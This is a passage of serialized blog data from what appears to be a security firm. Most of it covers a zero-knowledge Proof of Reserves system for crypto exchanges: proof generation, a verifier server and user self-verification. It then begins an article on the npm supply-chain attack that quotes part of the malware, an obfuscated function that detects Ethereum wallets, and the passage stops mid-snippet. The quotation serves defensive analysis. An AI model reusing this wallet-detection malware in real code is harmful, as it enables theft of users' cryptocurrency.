389],{"type":31,"value":97390},"(verifies if all asset prices are the same)",{"type":25,"tag":6948,"props":97392,"children":97393},{},[97394,97773,97774],{"type":25,"tag":115,"props":97395,"children":97397},{"className":97396},[5485,5486],[97398],{"type":25,"tag":201,"props":97399,"children":97401},{"className":97400},[5491],[97402],{"type":25,"tag":201,"props":97403,"children":97405},{"className":97404,"ariaHidden":5497},[5496],[97406,97487],{"type":25,"tag":201,"props":97407,"children":97409},{"className":97408},[5502],[97410,97414,97419,97424,97429,97434,97439,97444,97449,97454,97459,97464,97469,97474,97478,97483],{"type":25,"tag":201,"props":97411,"children":97413},{"className":97412,"style":95544},[5507],[],{"type":25,"tag":201,"props":97415,"children":97417},{"className":97416},[5513,23083],[97418],{"type":31,"value":52211},{"type":25,"tag":201,"props":97420,"children":97422},{"className":97421,"style":94131},[5513,23083],[97423],{"type":31,"value":95556},{"type":25,"tag":201,"props":97425,"children":97427},{"className":97426,"style":95560},[5513,23083],[97428],{"type":31,"value":89768},{"type":25,"tag":201,"props":97430,"children":97432},{"className":97431,"style":94143},[5513,23083],[97433],{"type":31,"value":94146},{"type":25,"tag":201,"props":97435,"children":97437},{"className":97436},[5513,23083],[97438],{"type":31,"value":52532},{"type":25,"tag":201,"props":97440,"children":97442},{"className":97441,"style":94131},[5513],[97443],{"type":31,"value":4589},{"type":25,"tag":201,"props":97445,"children":97447},{"className":97446},[5513,23083],[97448],{"type":31,"value":23225},{"type":25,"tag":201,"props":97450,"children":97452},{"className":97451},[5513,23083],[97453],{"type":31,"value":95588},{"type":25,"tag":201,"props":97455,"children":97457},{"className":97456,"style":94131},[5513],[97458],{"type":31,"value":4589},{"type":25,"tag":201,"props":97460,"children":97462},{"className":97461},[5513,23083],[97463],{"type":31,"value":95599},{"type":25,"tag":201,"props":97465,"children":97467},{"className":97466},[5513,23083],[97468],{"type":31,"value":12153},{"type":25,"tag":201,"props":97470,"children":97472},{"className":97471},[5513,23083],[97473],{"type":31,"value":85429},{"type":25,"tag":201,"props":97475,"children":97477},{"className":97476,"style":5691},[5593],[],{"type":25,"tag":201,"props":97479,"children":97481},{"className":97480},[5696],[97482],{"type":31,"value":10083},{"type":25,"tag":201,"props":97484,"children":97486},{"className":97485,"style":5691},[5593],[],{"type":25,"tag":201,"props":97488,"children":97490},{"className":97489},[5502],[97491,97495,97500,97505,97510,97515,97520,97525,97530,97535,97540,97597,97602,97606,97611,97616,97673,97678,97682,97687,97692,97696,97701,97706,97768],{"type":25,"tag":201,"props":97492,"children":97494},{"className":97493,"style":5614},[5507],[],{"type":25,"tag":201,"props":97496,"children":97498},{"className":97497,"style":23084},[5513,23083],[97499],{"type":31,"value":23087},{"type":25,"tag":201,"props":97501,"children":97503},{"className":97502},[5513,23083],[97504],{"type":31,"value":94085},{"type":25,"tag":201,"props":97506,"children":97508},{"className":97507},[5513,23083],[97509],{"type":31,"value":3641},{"type":25,"tag":201,"props":97511,"children":97513},{"className":97512},[5513,23083],[97514],{"type":31,"value":71646},{"type":25,"tag":201,"props":97516,"children":97518},{"className":97517},[5513,23083],[97519],{"type":31,"value":94101},{"type":25,"tag":201,"props":97521,"children":97523},{"className":97522},[5513,23083],[97524],{"type":31,"value":57482},{"type":25,"tag":201,"props":97526,"children":97528},{"className":97527},[23212],[97529],{"type":31,"value":298},{"type":25,"tag":201,"props":97531,"children":97533},{"className":97532},[5513,23083],[97534],{"type":31,"value":95599},{"type":25,"tag":201,"props":97536,"children":97538},{"className":97537},[5513,23083],[97539],{"type":31,"value":12153},{"type":25,"tag":201,"props":97541,"children":97543},{"className":97542},[5513],[97544,97549],{"type":25,"tag":201,"props":97545,"children":97547},{"className":97546},[5513,23083],[97548],{"type":31,"value":85429},{"type":25,"tag":201,"props":97550,"children":97552},{"className":97551},[5529],[97553],{"type":25,"tag":201,"props":97554,"children":97556},{"className":97555},[5534,23137],[97557,97586],{"type":25,"tag":201,"props":97558,"children":97560},{"className":97559},[5539],[97561,97581],{"type":25,"tag":201,"props":97562,"children":97564},{"className":97563,"style":94183},[5544],[97565],{"type":25,"tag":201,"props":97566,"children":97567},{"style":94187},[97568,97572],{"type":25,"tag":201,"props":97569,"children":97571},{"className":97570,"style":5554},[5553],[],{"type":25,"tag":201,"props":97573,"children":97575},{"className":97574},[5559,5560,5561,5562],[97576],{"type":25,"tag":201,"props":97577,"children":97579},{"className":97578},[5513,5562],[97580],{"type":31,"value":429},{"type":25,"tag":201,"props":97582,"children":97584},{"className":97583},[23240],[97585],{"type":31,"value":23243},{"type":25,"tag":201,"props":97587,"children":97589},{"className":97588},[5539],[97590],{"type":25,"tag":201,"props":97591,"children":97593},{"className":97592,"style":94214},[5544],[97594],{"type":25,"tag":201,"props":97595,"children":97596},{},[],{"type":25,"tag":201,"props":97598,"children":97600},{"className":97599},[5625],[97601],{"type":31,"value":5628},{"type":25,"tag":201,"props":97603,"children":97605},{"className":97604,"style":5632},[5593],[],{"type":25,"tag":201,"props":97607,"children":97609},{"className":97608},[5513,23083],[97610],{"type":31,"value":95599},{"type":25,"tag":201,"props":97612,"children":97614},{"className":97613},[5513,23083],[97615],{"type":31,"value":12153},{"type":25,"tag":201,"props":97617,"children":97619},{"className":97618},[5513],[97620,97625],{"type":25,"tag":201,"props":97621,"children":97623},{"className":97622},[5513,23083],[97624],{"type":31,"value":85429},{"type":25,"tag":201,"props":97626,"children":97628},{"className":97627},[5529],[97629],{"type":25,"tag":201,"props":97630,"children":97632},{"className":97631},[5534,23137],[97633,97662],{"type":25,"tag":201,"props":97634,"children":97636},{"className":97635},[5539],[97637,97657],{"type":25,"tag":201,"props":97638,"children":97640},{"className":97639,"style":94183},[5544],[97641],{"type":25,"tag":201,"props":97642,"children":97643},{"style":94187},[97644,97648],{"type":25,"tag":201,"props":97645,"children":97647},{"className":97646,"style":5554},[5553],[],{"type":25,"tag":201,"props":97649,"children":97651},{"className":97650},[5559,5560,5561,5562],[97652],{"type":25,"tag":201,"props":97653,"children":97655},{"className":97654},[5513,5562],[97656],{"type":31,"value":5516},{"type":25,"tag":201,"props":97658,"children":97660},{"className":97659},[23240],[97661],{"type":31,"value":23243},{"type":25,"tag":201,"props":97663,"children":97665},{"className":97664},[5539],[97666],{"type":25,"tag":201,"props":97667,"children":97669},{"className":97668,"style":94214},[5544],[97670],{"type":25,"tag":201,"props":97671,"children":97672},{},[],{"type":25,"tag":201,"props":97674,"children":97676},{"className":97675},[5625],[97677],{"type":31,"value":5628},{"type":25,"tag":201,"props":97679,"children":97681},{"className":97680,"style":5632},[5593],[],{"type":25,"tag":201,"props":97683,"children":97685},{"className":97684},[5513],[97686],{"type":31,"value":11095},{"type":25,"tag":201,"props":97688,"children":97690},{"className":97689},[5625],[97691],{"type":31,"value":5628},{"type":25,"tag":201,"props":97693,"children":97695},{"className":97694,"style":5632},[5593],[],{"type":25,"tag":201,"props":97697,"children":97699},{"className":97698},[5513,23083],[97700],{"type":31,"value":95599},{"type":25,"tag":201,"props":97702,"children":97704},{"className":97703},[5513,23083],[97705],{"type":31,"value":12153},{"type":25,"tag":201,"props":97707,"children":97709},{"className":97708},[5513],[97710,97715],{"type":25,"tag":201,"props":97711,"children":97713},{"className":97712},[5513,23083],[97714],{"type":31,"value":85429},{"type":25,"tag":201,"props":97716,"children":97718},{"className":97717},[5529],[97719],{"type":25,"tag":201,"props":97720,"children":97722},{"className":97721},[5534,23137],[97723,97757],{"type":25,"tag":201,"props":97724,"children":97726},{"className":97725},[5539],[97727,97752],{"type":25,"tag":201,"props":97728,"children":97730},{"className":97729,"style":94183},[5544],[97731],{"type":25,"tag":201,"props":97732,"children":97733},{"style":94187},[97734,97738],{"type":25,"tag":201,"props":97735,"children":97737},{"className":97736,"style":5554},[5553],[],{"type":25,"tag":201,"props":97739,"children":97741},{"className":97740},[5559,5560,5561,5562],[97742],{"type":25,"tag":201,"props":97743,"children":97745},{"className":97744},[5513,5562],[97746],{"type":25,"tag":201,"props":97747,"children":97749},{"className":97748},[5513,5562],[97750],{"type":31,"value":97751},"31",{"type":25,"tag":201,"props":97753,"children":97755},{"className":97754},[23240],[97756],{"type":31,"value":23243},{"type":25,"tag":201,"props":97758,"children":97760},{"className":97759},[5539],[97761],{"type":25,"tag":201,"props":97762,"children":97764},{"className":97763,"style":94214},[5544],[97765],{"type":25,"tag":201,"props":97766,"children":97767},{},[],{"type":25,"tag":201,"props":97769,"children":97771},{"className":97770},[23234],[97772],{"type":31,"value":3073},{"type":31,"value":7966},{"type":25,"tag":1252,"props":97775,"children":97776},{},[97777],{"type":31,"value":95919},{"type":25,"tag":6948,"props":97779,"children":97780},{},[97781,97786,97787],{"type":25,"tag":65,"props":97782,"children":97783},{},[97784],{"type":31,"value":97785},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":31,"value":7966},{"type":25,"tag":1252,"props":97788,"children":97789},{},[97790],{"type":31,"value":96203},{"type":25,"tag":34,"props":97792,"children":97793},{},[97794],{"type":31,"value":97795},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":25,"tag":34,"props":97797,"children":97798},{},[97799],{"type":25,"tag":127,"props":97800,"children":97802},{"alt":51656,"src":97801},"/posts/por/recursive-circuit.png",[],{"type":25,"tag":26,"props":97804,"children":97806},{"id":97805},"global-proof-and-inclusion-proofs",[97807],{"type":31,"value":97808},"Global Proof and Inclusion Proofs",{"type":25,"tag":40,"props":97810,"children":97811},{"id":10785},[97812],{"type":31,"value":97813},"Proving",{"type":25,"tag":34,"props":97815,"children":97816},{},[97817,97819,97825,97826,97832,97833,97839],{"type":31,"value":97818},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":25,"tag":115,"props":97820,"children":97822},{"className":97821},[],[97823],{"type":31,"value":97824},"merkle_tree.json",{"type":31,"value":919},{"type":25,"tag":115,"props":97827,"children":97829},{"className":97828},[],[97830],{"type":31,"value":97831},"final_proof.json",{"type":31,"value":7996},{"type":25,"tag":115,"props":97834,"children":97836},{"className":97835},[],[97837],{"type":31,"value":97838},"private_nonces.json",{"type":31,"value":97840}," files.",{"type":25,"tag":34,"props":97842,"children":97843},{},[97844],{"type":31,"value":97845},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":25,"tag":34,"props":97847,"children":97848},{},[97849,97851,97857,97859,97864],{"type":31,"value":97850},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":25,"tag":115,"props":97852,"children":97854},{"className":97853},[],[97855],{"type":31,"value":97856},"inclusion_proof_\u003Cid>.json",{"type":31,"value":97858},"). ",{"type":25,"tag":65,"props":97860,"children":97861},{},[97862],{"type":31,"value":97863},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":31,"value":80},{"type":25,"tag":40,"props":97866,"children":97868},{"id":97867},"verifying",[97869],{"type":31,"value":97870},"Verifying",{"type":25,"tag":34,"props":97872,"children":97873},{},[97874],{"type":25,"tag":1252,"props":97875,"children":97876},{},[97877],{"type":31,"value":97878},"Global Proof",{"type":25,"tag":34,"props":97880,"children":97881},{},[97882,97884,97889,97890,97895],{"type":31,"value":97883},"To verify the global proof, the code deserializes the ",{"type":25,"tag":115,"props":97885,"children":97887},{"className":97886},[],[97888],{"type":31,"value":97824},{"type":31,"value":38620},{"type":25,"tag":115,"props":97891,"children":97893},{"className":97892},[],[97894],{"type":31,"value":97831},{"type":31,"value":97896}," files and performs these checks:",{"type":25,"tag":6944,"props":97898,"children":97899},{},[97900,97905,97910,97915,97941],{"type":25,"tag":6948,"props":97901,"children":97902},{},[97903],{"type":31,"value":97904},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":25,"tag":6948,"props":97906,"children":97907},{},[97908],{"type":31,"value":97909},"Verify the ZK final proof.",{"type":25,"tag":6948,"props":97911,"children":97912},{},[97913],{"type":31,"value":97914},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":25,"tag":6948,"props":97916,"children":97917},{},[97918,97920,97926,97928,97933,97934,97939],{"type":31,"value":97919},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":25,"tag":115,"props":97921,"children":97923},{"className":97922},[],[97924],{"type":31,"value":97925},"merkle_tree_hash",{"type":31,"value":97927}," public input. This ensures that the ",{"type":25,"tag":115,"props":97929,"children":97931},{"className":97930},[],[97932],{"type":31,"value":97824},{"type":31,"value":12493},{"type":25,"tag":115,"props":97935,"children":97937},{"className":97936},[],[97938],{"type":31,"value":97831},{"type":31,"value":97940}," are linked (they belong to the same global proof).",{"type":25,"tag":6948,"props":97942,"children":97943},{},[97944],{"type":31,"value":97945},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":25,"tag":34,"props":97947,"children":97948},{},[97949],{"type":25,"tag":1252,"props":97950,"children":97951},{},[97952],{"type":31,"value":97953},"Inclusion Proof",{"type":25,"tag":34,"props":97955,"children":97956},{},[97957,97959,97964,97966,97971],{"type":31,"value":97958},"To verify the inclusion proof, the code deserializes the ",{"type":25,"tag":115,"props":97960,"children":97962},{"className":97961},[],[97963],{"type":31,"value":97856},{"type":31,"value":97965}," file and also the ",{"type":25,"tag":115,"props":97967,"children":97969},{"className":97968},[],[97970],{"type":31,"value":97831},{"type":31,"value":97972},". After that, it performs these checks:",{"type":25,"tag":6944,"props":97974,"children":97975},{},[97976,97980,97985,97990],{"type":25,"tag":6948,"props":97977,"children":97978},{},[97979],{"type":31,"value":97909},{"type":25,"tag":6948,"props":97981,"children":97982},{},[97983],{"type":31,"value":97984},"Verify if the Merkle tree root is the same as in the final proof.",{"type":25,"tag":6948,"props":97986,"children":97987},{},[97988],{"type":31,"value":97989},"Recalculate the user-related node leaf hash.",{"type":25,"tag":6948,"props":97991,"children":97992},{},[97993],{"type":31,"value":97994},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":25,"tag":26,"props":97996,"children":97998},{"id":97997},"por-verifier-server",[97999],{"type":31,"value":98000},"PoR Verifier Server",{"type":25,"tag":34,"props":98002,"children":98003},{},[98004,98006,98012],{"type":31,"value":98005},"To automate the verification process, we created a ",{"type":25,"tag":71,"props":98007,"children":98009},{"href":93642,"rel":98008},[75],[98010],{"type":31,"value":98011},"verifier server",{"type":31,"value":98013}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":25,"tag":34,"props":98015,"children":98016},{},[98017],{"type":31,"value":98018},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":25,"tag":34,"props":98020,"children":98021},{},[98022],{"type":25,"tag":127,"props":98023,"children":98025},{"alt":51656,"src":98024},"/posts/por/backpack-por.png",[],{"type":25,"tag":34,"props":98027,"children":98028},{},[98029],{"type":31,"value":98030},"Here is a breakdown of what fields represent and why they are required:",{"type":25,"tag":18183,"props":98032,"children":98033},{},[98034,98044,98054,98064,98074,98084],{"type":25,"tag":6948,"props":98035,"children":98036},{},[98037,98042],{"type":25,"tag":1252,"props":98038,"children":98039},{},[98040],{"type":31,"value":98041},"Status",{"type":31,"value":98043}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":25,"tag":6948,"props":98045,"children":98046},{},[98047,98052],{"type":25,"tag":1252,"props":98048,"children":98049},{},[98050],{"type":31,"value":98051},"Proof Timestamp",{"type":31,"value":98053}," --> when the proof was generated by the exchange.",{"type":25,"tag":6948,"props":98055,"children":98056},{},[98057,98062],{"type":25,"tag":1252,"props":98058,"children":98059},{},[98060],{"type":31,"value":98061},"Verify Timestamp",{"type":31,"value":98063}," --> when the proof was verified by the PoR server.",{"type":25,"tag":6948,"props":98065,"children":98066},{},[98067,98072],{"type":25,"tag":1252,"props":98068,"children":98069},{},[98070],{"type":31,"value":98071},"Proof File URL",{"type":31,"value":98073}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":25,"tag":6948,"props":98075,"children":98076},{},[98077,98082],{"type":25,"tag":1252,"props":98078,"children":98079},{},[98080],{"type":31,"value":98081},"Prover Version",{"type":31,"value":98083}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":25,"tag":6948,"props":98085,"children":98086},{},[98087,98092],{"type":25,"tag":1252,"props":98088,"children":98089},{},[98090],{"type":31,"value":98091},"File Hash (SHA256)",{"type":31,"value":98093}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":25,"tag":34,"props":98095,"children":98096},{},[98097],{"type":31,"value":98098},"Also, you can check the exchange's liabilities on the website:",{"type":25,"tag":34,"props":98100,"children":98101},{},[98102],{"type":25,"tag":127,"props":98103,"children":98105},{"alt":51656,"src":98104},"/posts/por/backpack-por-liabilities.png",[],{"type":25,"tag":34,"props":98107,"children":98108},{},[98109,98111,98117,98119,98125],{"type":31,"value":98110},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":25,"tag":71,"props":98112,"children":98115},{"href":98113,"rel":98114},"https://backpack.exchange/reserves",[75],[98116],{"type":31,"value":98113},{"type":31,"value":98118}," and our verifier server for backpack at ",{"type":25,"tag":71,"props":98120,"children":98123},{"href":98121,"rel":98122},"https://backpack-por.osec.io/",[75],[98124],{"type":31,"value":98121},{"type":31,"value":80},{"type":25,"tag":26,"props":98127,"children":98129},{"id":98128},"self-verification",[98130],{"type":31,"value":98131},"Self-verification",{"type":25,"tag":34,"props":98133,"children":98134},{},[98135],{"type":31,"value":98136},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":25,"tag":40,"props":98138,"children":98140},{"id":98139},"how-to-verify-if-i-was-included",[98141],{"type":31,"value":98142},"How to verify if I was included?",{"type":25,"tag":34,"props":98144,"children":98145},{},[98146],{"type":31,"value":98147},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":25,"tag":6944,"props":98149,"children":98150},{},[98151,98162,98180],{"type":25,"tag":6948,"props":98152,"children":98153},{},[98154,98161],{"type":25,"tag":71,"props":98155,"children":98158},{"href":98156,"rel":98157},"https://github.com/otter-sec/por_v2/releases",[75],[98159],{"type":31,"value":98160},"Download the PoRv2 executable from our github",{"type":31,"value":80},{"type":25,"tag":6948,"props":98163,"children":98164},{},[98165,98167,98172,98173,98178],{"type":31,"value":98166},"Download the inclusion and the final proof files from the exchange (",{"type":25,"tag":115,"props":98168,"children":98170},{"className":98169},[],[98171],{"type":31,"value":97856},{"type":31,"value":12493},{"type":25,"tag":115,"props":98174,"children":98176},{"className":98175},[],[98177],{"type":31,"value":97831},{"type":31,"value":98179},") and put the files in the same directory as the PoRv2 app.",{"type":25,"tag":6948,"props":98181,"children":98182},{},[98183,98185,98191],{"type":31,"value":98184},"Open the terminal and execute this: ",{"type":25,"tag":115,"props":98186,"children":98188},{"className":98187},[],[98189],{"type":31,"value":98190},"./plonky2_por verify-inclusion",{"type":31,"value":80},{"type":25,"tag":34,"props":98193,"children":98194},{},[98195],{"type":31,"value":98196},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":25,"tag":191,"props":98198,"children":98200},{"code":98199},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[98201],{"type":25,"tag":115,"props":98202,"children":98203},{"__ignoreMap":7},[98204],{"type":31,"value":98199},{"type":25,"tag":40,"props":98206,"children":98208},{"id":98207},"how-can-i-verify-the-global-proof",[98209],{"type":31,"value":98210},"How can I verify the global proof?",{"type":25,"tag":34,"props":98212,"children":98213},{},[98214],{"type":31,"value":98215},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":25,"tag":6944,"props":98217,"children":98218},{},[98219,98228,98246],{"type":25,"tag":6948,"props":98220,"children":98221},{},[98222,98227],{"type":25,"tag":71,"props":98223,"children":98225},{"href":98156,"rel":98224},[75],[98226],{"type":31,"value":98160},{"type":31,"value":80},{"type":25,"tag":6948,"props":98229,"children":98230},{},[98231,98233,98238,98239,98244],{"type":31,"value":98232},"Download the ",{"type":25,"tag":115,"props":98234,"children":98236},{"className":98235},[],[98237],{"type":31,"value":97824},{"type":31,"value":38620},{"type":25,"tag":115,"props":98240,"children":98242},{"className":98241},[],[98243],{"type":31,"value":97831},{"type":31,"value":98245}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":25,"tag":6948,"props":98247,"children":98248},{},[98249,98251,98256],{"type":31,"value":98250},"Open the terminal and execute ",{"type":25,"tag":115,"props":98252,"children":98254},{"className":98253},[],[98255],{"type":31,"value":98190},{"type":31,"value":98257},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":25,"tag":34,"props":98259,"children":98260},{},[98261],{"type":31,"value":98262},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":25,"tag":191,"props":98264,"children":98266},{"code":98265},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[98267],{"type":25,"tag":115,"props":98268,"children":98269},{"__ignoreMap":7},[98270],{"type":31,"value":98265},{"type":25,"tag":34,"props":98272,"children":98273},{},[98274],{"type":31,"value":98275},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":25,"tag":191,"props":98277,"children":98279},{"code":98278},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[98280],{"type":25,"tag":115,"props":98281,"children":98282},{"__ignoreMap":7},[98283],{"type":31,"value":98278},{"type":25,"tag":26,"props":98285,"children":98286},{"id":4323},[98287],{"type":31,"value":4326},{"type":25,"tag":34,"props":98289,"children":98290},{},[98291],{"type":31,"value":98292},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":25,"tag":34,"props":98294,"children":98295},{},[98296,98298,98304],{"type":31,"value":98297},"We are currently working with Backpack to implement this algorithm ",{"type":25,"tag":71,"props":98299,"children":98301},{"href":98113,"rel":98300},[75],[98302],{"type":31,"value":98303},"in production",{"type":31,"value":98305}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":25,"tag":34,"props":98307,"children":98308},{},[98309,98311,98318],{"type":31,"value":98310},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":25,"tag":71,"props":98312,"children":98315},{"href":98313,"rel":98314},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[75],[98316],{"type":31,"value":98317},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":31,"value":80},{"title":7,"searchDepth":226,"depth":226,"links":98320},[98321,98322,98323,98324,98327,98332,98336,98337,98341],{"id":93570,"depth":226,"text":93573},{"id":93651,"depth":226,"text":93654},{"id":93721,"depth":226,"text":93724},{"id":93775,"depth":226,"text":93778,"children":98325},[98326],{"id":93854,"depth":278,"text":93857},{"id":93942,"depth":226,"text":93945,"children":98328},[98329,98330,98331],{"id":94015,"depth":278,"text":94018},{"id":94487,"depth":278,"text":94490},{"id":96226,"depth":278,"text":96229},{"id":97805,"depth":226,"text":97808,"children":98333},[98334,98335],{"id":10785,"depth":278,"text":97813},{"id":97867,"depth":278,"text":97870},{"id":97997,"depth":226,"text":98000},{"id":98128,"depth":226,"text":98131,"children":98338},[98339,98340],{"id":98139,"depth":278,"text":98142},{"id":98207,"depth":278,"text":98210},{"id":4323,"depth":226,"text":4326},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":98346,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":98347,"description":98348,"date":98349,"author":11,"image":98350,"isFeatured":17,"onBlogPage":17,"tags":98353,"body":98356,"_type":4371,"_id":100782,"_source":4373,"_file":100783,"_stem":100784,"_extension":4376},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":98351,"width":98352,"height":15},"/posts/supply-chain-attcks/title.png",1536,[98354,98355],"npm","supply-chain",{"type":22,"children":98357,"toc":100765},[98358,98371,98376,98381,98387,98392,98400,98730,98738,99301,99309,100016,100022,100027,100033,100038,100043,100049,100054,100066,100071,100097,100184,100196,100221,100237,100242,100247,100453,100495,100500,100512,100518,100530,100572,100585,100665,100677,100690,100697,100708,100716,100722,100735,100740,100744,100749,100761],{"type":25,"tag":34,"props":98359,"children":98360},{},[98361,98363,98369],{"type":31,"value":98362},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":25,"tag":115,"props":98364,"children":98366},{"className":98365},[],[98367],{"type":31,"value":98368},"chalk",{"type":31,"value":98370},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":25,"tag":34,"props":98372,"children":98373},{},[98374],{"type":31,"value":98375},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":25,"tag":34,"props":98377,"children":98378},{},[98379],{"type":31,"value":98380},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":25,"tag":26,"props":98382,"children":98384},{"id":98383},"qix-malware-how-it-worked",[98385],{"type":31,"value":98386},"Qix Malware: How It Worked",{"type":25,"tag":34,"props":98388,"children":98389},{},[98390],{"type":31,"value":98391},"The attacker published modified versions of packages with code designed to do three things:",{"type":25,"tag":6944,"props":98393,"children":98394},{},[98395],{"type":25,"tag":6948,"props":98396,"children":98397},{},[98398],{"type":31,"value":98399},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":25,"tag":191,"props":98401,"children":98403},{"code":98402,"language":195,"meta":7,"className":193,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  